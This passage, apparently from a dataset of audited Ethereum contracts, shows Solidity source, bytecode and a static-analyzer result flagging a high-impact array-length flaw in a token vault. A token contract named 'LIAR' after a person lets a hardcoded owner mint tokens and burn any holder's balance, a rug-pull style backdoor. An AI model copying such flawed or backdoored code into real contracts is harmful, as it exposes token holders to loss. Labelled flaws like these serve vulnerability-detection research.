indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract InvestmentRecordList is Ownable{ event NoRecordFound(InvestmentRecord _investmentRecord); InvestmentRecord[] internal investmentRecords; function getInvestmentRecord (uint index) public view returns (InvestmentRecord){ return investmentRecords[index]; } function getInvestmentRecordListLength () public view returns (uint){ return investmentRecords.length; } function pushRecord (InvestmentRecord _investmentRecord) onlyOwner public{ investmentRecords.push(_investmentRecord); } function popRecord (InvestmentRecord _investmentRecord) onlyOwner public{ uint index; bool foundRecord; (index, foundRecord) = getIndex(_investmentRecord); if (! foundRecord){ emit NoRecordFound(_investmentRecord); revert(); } InvestmentRecord recordToDelete = investmentRecords[investmentRecords.length-1]; investmentRecords[index] = recordToDelete; delete recordToDelete; investmentRecords.length--; } function getIndex (InvestmentRecord _investmentRecord) public view returns (uint index, bool foundRecord){ foundRecord = false; for (index = 0; index < investmentRecords.length; index++){ if (investmentRecords[index] == _investmentRecord){ foundRecord = true; break; } } } } contract InvestmentRecord { using SafeMath for uint256; address public token; uint public timeStamp; uint public lockPeriod; uint public value; constructor (address _token, uint _timeStamp, uint _lockPeriod, uint _value) public{ token = _token; timeStamp = _timeStamp; lockPeriod = _lockPeriod; value = _value; } function expiredLockPeriod () public view returns (bool){ return now >= timeStamp + lockPeriod; } function getValue () public view returns (uint){ return value; } function getToken () public view returns (address){ return token; } } contract ERC20Vault is SplitErc20Payment{ using SafeMath for uint256; mapping (address => InvestmentRecordList) public pendingInvestments; function withdrawToken(address, uint) public { revert(); } function getLockedValue (address token) public returns (uint){ InvestmentRecordList investmentRecordList = pendingInvestments[msg.sender]; if (investmentRecordList == address(0x0)) return 0; uint lockedValue = 0; for(uint8 i = 0; i < investmentRecordList.getInvestmentRecordListLength(); i++){ InvestmentRecord investmentRecord = investmentRecordList.getInvestmentRecord(i); if (investmentRecord.getToken() == token){ if (investmentRecord.expiredLockPeriod()){ investmentRecordList.popRecord(investmentRecord); }else{ uint valueToAdd = investmentRecord.getValue(); lockedValue += valueToAdd; } } } return lockedValue; } function claim(address token) public{ uint lockedValue = getLockedValue(token); uint actualBalance = this.balanceOf(token, msg.sender); require(actualBalance > lockedValue); super.partialClaim(token, actualBalance - lockedValue); } function partialClaim(address token, uint payment) public{ uint lockedValue = getLockedValue(token); uint actualBalance = this.balanceOf(token, msg.sender); require(actualBalance - lockedValue >= payment); super.partialClaim(token, payment); } function depositTokenToVault(address token, uint amount, uint lockPeriod) public{ if (pendingInvestments[msg.sender] == address(0x0)){ pendingInvestments[msg.sender] = new InvestmentRecordList(); } super.depositToken(token, amount); pendingInvestments[msg.sender].pushRecord(new InvestmentRecord(token, now, lockPeriod, amount)); } function depositEtherToVault(uint lockPeriod) public payable{ if (pendingInvestments[msg.sender] == address(0x0)){ pendingInvestments[msg.sender] = new InvestmentRecordList(); } deposit(); pendingInvestments[msg.sender].pushRecord(new InvestmentRecord(0, now, lockPeriod, msg.value)); } }
0x6080604052600436106100e25763ffffffff60e060020a600035041663067a1e1681146100f45780631e83409a146101275780632e1a7d4d1461014a578063338b5dea14610162578063406072a914610186578063508493bc146101ad57806353055481146101d457806363037b0c146101f55780637df44647146102295780637f4a9691146102505780639e281a9814610277578063bd79d6921461029b578063bf6b874e146102a6578063cef4be3c146102c7578063d0e30db0146102eb578063d79779b2146102f3578063ee3d655714610314578063f7888aec14610335575b3480156100ee57600080fd5b50600080fd5b34801561010057600080fd5b50610115600160a060020a036004351661035c565b60408051918252519081900360200190f35b34801561013357600080fd5b50610148600160a060020a036004351661068d565b005b34801561015657600080fd5b5061014860043561074f565b34801561016e57600080fd5b50610148600160a060020a0360043516602435610754565b34801561019257600080fd5b50610115600160a060020a036004358116906024351661076d565b3480156101b957600080fd5b50610115600160a060020a036004358116906024351661078a565b3480156101e057600080fd5b50610115600160a060020a03600435166107a4565b34801561020157600080fd5b5061020d6004356107b6565b60408051600160a060020a039092168252519081900360200190f35b34801561023557600080fd5b50610115600160a060020a03600435811690602435166107de565b34801561025c57600080fd5b50610148600160a060020a03600435166024356044356107fb565b34801561028357600080fd5b50610148600160a060020a036004351660243561074f565b61014860043561095b565b3480156102b257600080fd5b50610115600160a060020a0360043516610ab8565b3480156102d357600080fd5b50610148600160a060020a0360043516602435610aca565b610148610b8e565b3480156102ff57600080fd5b50610115600160a060020a0360043516610ba4565b34801561032057600080fd5b5061020d600160a060020a0360043516610bb6565b34801561034157600080fd5b50610115600160a060020a0360043581169060243516610bd1565b33600090815260076020526040812054600160a060020a0316818080808415156103895760009550610683565b60009350600092505b84600160a060020a031663b7f379836040518163ffffffff1660e060020a028152600401602060405180830381600087803b1580156103d057600080fd5b505af11580156103e4573d6000803e3d6000fd5b505050506040513d60208110156103fa57600080fd5b505160ff8416101561067f5784600160a060020a0316630352017b846040518263ffffffff1660e060020a028152600401808260ff168152602001915050602060405180830381600087803b15801561045257600080fd5b505af1158015610466573d6000803e3d6000fd5b505050506040513d602081101561047c57600080fd5b5051604080517f21df0da70000000000000000000000000000000000000000000000000000000081529051919350600160a060020a03808a1692908516916321df0da79160048083019260209291908290030181600087803b1580156104e157600080fd5b505af11580156104f5573d6000803e3d6000fd5b505050506040513d602081101561050b57600080fd5b5051600160a060020a031614156106745781600160a060020a031663e5a3c7716040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561055a57600080fd5b505af115801561056e573d6000803e3d6000fd5b505050506040513d602081101561058457600080fd5b5051156106035784600160a060020a031663f4ac60de836040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050600060405180830381600087803b1580156105e657600080fd5b505af11580156105fa573d6000803e3d6000fd5b50505050610674565b81600160a060020a031663209652556040518163ffffffff1660e060020a028152600401602060405180830381600087803b15801561064157600080fd5b505af1158015610655573d6000803e3d6000fd5b505050506040513d602081101561066b57600080fd5b50519384019390505b600190920191610392565b8395505b5050505050919050565b6000806106998361035c565b604080517ff7888aec000000000000000000000000000000000000000000000000000000008152600160a060020a03861660048201523360248201529051919350309163f7888aec916044808201926020929091908290030181600087803b15801561070457600080fd5b505af1158015610718573d6000803e3d6000fd5b505050506040513d602081101561072e57600080fd5b5051905081811161073e57600080fd5b61074a83838303610bfa565b505050565b600080fd5b61075e8282610c20565b610769823383610ce5565b5050565b600560209081526000928352604080842090915290825290205481565b600060208181529281526040808220909352908152205481565b60016020526000908152604090205481565b60068054829081106107c457fe5b600091825260209091200154600160a060020a0316905081565b600460209081526000928352604080842090915290825290205481565b33600090815260076020526040902054600160a060020a0316151561087a576108226111e5565b604051809103906000f08015801561083e573d6000803e3d6000fd5b50336000908152600760205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555b6108848383610754565b33600090815260076020526040902054600160a060020a031663d701626e844284866108ae6111f5565b600160a060020a039094168452602084019290925260408084019190915260608301919091525190819003608001906000f0801580156108f2573d6000803e3d6000fd5b506040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050600060405180830381600087803b15801561093e57600080fd5b505af1158015610952573d6000803e3d6000fd5b50505050505050565b33600090815260076020526040902054600160a060020a031615156109da576109826111e5565b604051809103906000f08015801561099e573d6000803e3d6000fd5b50336000908152600760205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555b6109e2610b8e565b33600090815260076020526040812054600160a060020a03169063d701626e90428434610a0d6111f5565b8085600160a060020a03168152602001848152602001838152602001828152602001945050505050604051809103906000f080158015610a51573d6000803e3d6000fd5b506040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050600060405180830381600087803b158015610a9d57600080fd5b505af1158015610ab1573d6000803e3d6000fd5b5050505050565b60026020526000908152604090205481565b600080610ad68461035c565b604080517ff7888aec000000000000000000000000000000000000000000000000000000008152600160a060020a03871660048201523360248201529051919350309163f7888aec916044808201926020929091908290030181600087803b158015610b4157600080fd5b505af1158015610b55573d6000803e3d6000fd5b505050506040513d6020811015610b6b57600080fd5b50519050818103831115610b7e57600080fd5b610b888484610bfa565b50505050565b610b96610d2c565b610ba260003334610ce5565b565b60036020526000908152604090205481565b600760205260009081526040902054600160a060020a031681565b600160a060020a0391821660009081526020818152604080832093909416825291909152205490565b6000610c068333610d37565b905080821115610c1557600080fd5b61074a833384610ddb565b81600160a060020a0381161515610c3657600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018490529051600160a060020a038516916323b872dd9160648083019260209291908290030181600087803b158015610ca457600080fd5b505af1158015610cb8573d6000803e3d6000fd5b505050506040513d6020811015610cce57600080fd5b50511515610cdb57600080fd5b61074a8383610e52565b600160a060020a038084166000908152600460209081526040808320938616835292905220541515610d2157610d1c838383610eda565b61074a565b61074a838383610fb9565b610ba2600034610e52565b600160a060020a03808316600090815260046020908152604080832093851683529290529081205481908110610d6c57600080fd5b50600160a060020a038084166000818152600360209081526040808320546001835281842054600584528285209689168086529684528285205495855260028452828520546004855283862097865296909352922054910192908302811515610dd157fe5b0403949350505050565b801515610de757600080fd5b600160a060020a038316600090815260016020526040902054811115610e0c57600080fd5b600160a060020a038084166000818152600560209081526040808320948716835293815283822080548601905591815260039091522080548201905561074a838261104f565b600160a060020a03821660008181526020818152604080832033808552818452828520805488018155868652600185528386208054890190559481905290835292548151948552918401929092528282018490526060830152517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a15050565b600160a060020a0382161515610eef57600080fd5b60008111610efc57600080fd5b600160a060020a0380841660009081526004602090815260408083209386168352929052205415610f2c57600080fd5b60068054600181019091557ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0393841690811790915592909116600081815260046020908152604080832095835294815284822084905591815260029091529190912080549091019055565b600160a060020a0382161515610fce57600080fd5b60008111610fdb57600080fd5b600160a060020a0380841660009081526004602090815260408083209386168352929052908120541161100d57600080fd5b600160a060020a039283166000818152600460209081526040808320959096168252938452848120805484019055908152600290925291902080549091019055565b6107698282600160a060020a03821660009081526020818152604080832033845290915290205481111561108257600080fd5b600160a060020a038216600081815260208181526040808320338452825280832080548690039055838352600190915290208054839003905515156110da5760405133908290600081818185875af19250505061116f565b604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390529051600160a060020a0384169163a9059cbb9160448083019260209291908290030181600087803b15801561114257600080fd5b505af1158015611156573d6000803e3d6000fd5b505050506040513d602081101561116c57600080fd5b50515b151561117a57600080fd5b600160a060020a0382166000818152602081815260408083203380855290835292819020548151948552918401929092528282018490526060830152517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a15050565b60405161056a8061120683390190565b60405161026480611770833901905600608060405260008054600160a060020a03191633179055610545806100256000396000f30060806040526004361061008d5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630352017b8114610092578063715018a6146100c65780638da5cb5b146100dd578063b31610db146100f2578063b7f379831461012c578063d701626e14610153578063f2fde38b14610174578063f4ac60de14610195575b600080fd5b34801561009e57600080fd5b506100aa6004356101b6565b60408051600160a060020a039092168252519081900360200190f35b3480156100d257600080fd5b506100db6101e2565b005b3480156100e957600080fd5b506100aa61024e565b3480156100fe57600080fd5b50610113600160a060020a036004351661025d565b6040805192835290151560208301528051918290030190f35b34801561013857600080fd5b506101416102b7565b60408051918252519081900360200190f35b34801561015f57600080fd5b506100db600160a060020a03600435166102be565b34801561018057600080fd5b506100db600160a060020a0360043516610333565b3480156101a157600080fd5b506100db600160a060020a0360043516610356565b60006001828154811015156101c757fe5b600091825260209091200154600160a060020a031692915050565b600054600160a060020a031633146101f957600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b6000805b6001548210156102b25782600160a060020a031660018381548110151561028457fe5b600091825260209091200154600160a060020a031614156102a7575060016102b2565b600190910190610261565b915091565b6001545b90565b600054600160a060020a031633146102d557600080fd5b6001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461034a57600080fd5b61035381610455565b50565b6000805481908190600160a060020a0316331461037257600080fd5b61037b8461025d565b90935091508115156103c85760408051600160a060020a038616815290517f802a8d6c7b31595cc7ac494c5a97fd05bf48518378906e9e0f9f0d59f09af5b99181900360200190a1600080fd5b6001805460001981019081106103da57fe5b60009182526020909120015460018054600160a060020a03909216925082918590811061040357fe5b60009182526020822001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0393909316929092179091556001805491925061044e9060001983016104d2565b5050505050565b600160a060020a038116151561046a57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b8154818355818111156104f6576000838152602090206104f69181019083016104fb565b505050565b6102bb91905b808211156105155760008155600101610501565b50905600a165627a7a7230582060b550952e770951ea25bedb6db879eebdf8e7776bc329cf1b65c4577970699b0029608060405234801561001057600080fd5b50604051608080610264833981016040908152815160208301519183015160609093015160008054600160a060020a031916600160a060020a039093169290921782556001929092556002929092556003556101f290819061007290396000f3006080604052600436106100825763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630ab0df87811461008757806320965255146100ae57806321df0da7146100c35780633fa4f245146101015780633fd8b02f14610116578063e5a3c7711461012b578063fc0c546a14610154575b600080fd5b34801561009357600080fd5b5061009c610169565b60408051918252519081900360200190f35b3480156100ba57600080fd5b5061009c61016f565b3480156100cf57600080fd5b506100d8610175565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561010d57600080fd5b5061009c610191565b34801561012257600080fd5b5061009c610197565b34801561013757600080fd5b5061014061019d565b604080519115158252519081900360200190f35b34801561016057600080fd5b506100d86101aa565b60015481565b60035490565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60035481565b60025481565b6002546001540142101590565b60005473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a7230582081be54983e67663e34395e8f4caa63e86fbb3a234d941388884e859a9e7b04260029a165627a7a72305820167e3eb8f9f8d669c142fa5f95594c140eff4a8a23fbe80afa73508bab4c46ad0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
8,590
0xc667a0bae9d559af20de1050515556f0ae39be59
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = 0xD3BDB0cF067C7EBce779654949a440a5ce4e13EA; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MichealLyons is Ownable, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = 'Micheal Lyons'; _symbol = 'LIAR'; _totalSupply= 1000000000000 *(10**decimals()); _balances[owner()]=_totalSupply; emit Transfer(address(0),owner(),_totalSupply); } /** * @dev Returns the name of the token. * */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 20; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function mint(address account, uint256 amount) public onlyOwner{ _mint( account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function Burn(address account, uint256 amount) public onlyOwner { _burn( account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610209578063cc16f5db1461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101ee578063a457c2d7146101f657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806340c10f191461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610c8f565b60405180910390f35b610136610131366004610c66565b61030d565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610c2b565b610323565b6040516014815260200161011a565b610136610188366004610c66565b6103d9565b6101a061019b366004610c66565b610410565b005b61014a6101b0366004610bd8565b6001600160a01b031660009081526001602052604090205490565b6101a0610448565b6000546040516001600160a01b03909116815260200161011a565b61010d6104bc565b610136610204366004610c66565b6104cb565b610136610217366004610c66565b610566565b6101a061022a366004610c66565b610573565b61014a61023d366004610bf9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a0610276366004610bd8565b6105a7565b60606004805461028a90610d46565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610d46565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a338484610691565b50600192915050565b60006103308484846107b6565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103ba5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ce85336103c98685610d2f565b610691565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161031a9185906103c9908690610d17565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016103b190610ce2565b610444828261098e565b5050565b6000546001600160a01b031633146104725760405162461bcd60e51b81526004016103b190610ce2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461028a90610d46565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561054d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b1565b61055c33856103c98685610d2f565b5060019392505050565b600061031a3384846107b6565b6000546001600160a01b0316331461059d5760405162461bcd60e51b81526004016103b190610ce2565b6104448282610a6d565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016103b190610ce2565b6001600160a01b0381166106365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b0382166107545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661081a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b03821661087c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b6001600160a01b038316600090815260016020526040902054818110156108f45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b1565b6108fe8282610d2f565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610934908490610d17565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098091815260200190565b60405180910390a350505050565b6001600160a01b0382166109e45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103b1565b80600360008282546109f69190610d17565b90915550506001600160a01b03821660009081526001602052604081208054839290610a23908490610d17565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610acd5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b1565b6001600160a01b03821660009081526001602052604090205481811015610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103b1565b610b4b8282610d2f565b6001600160a01b03841660009081526001602052604081209190915560038054849290610b79908490610d2f565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016107a9565b80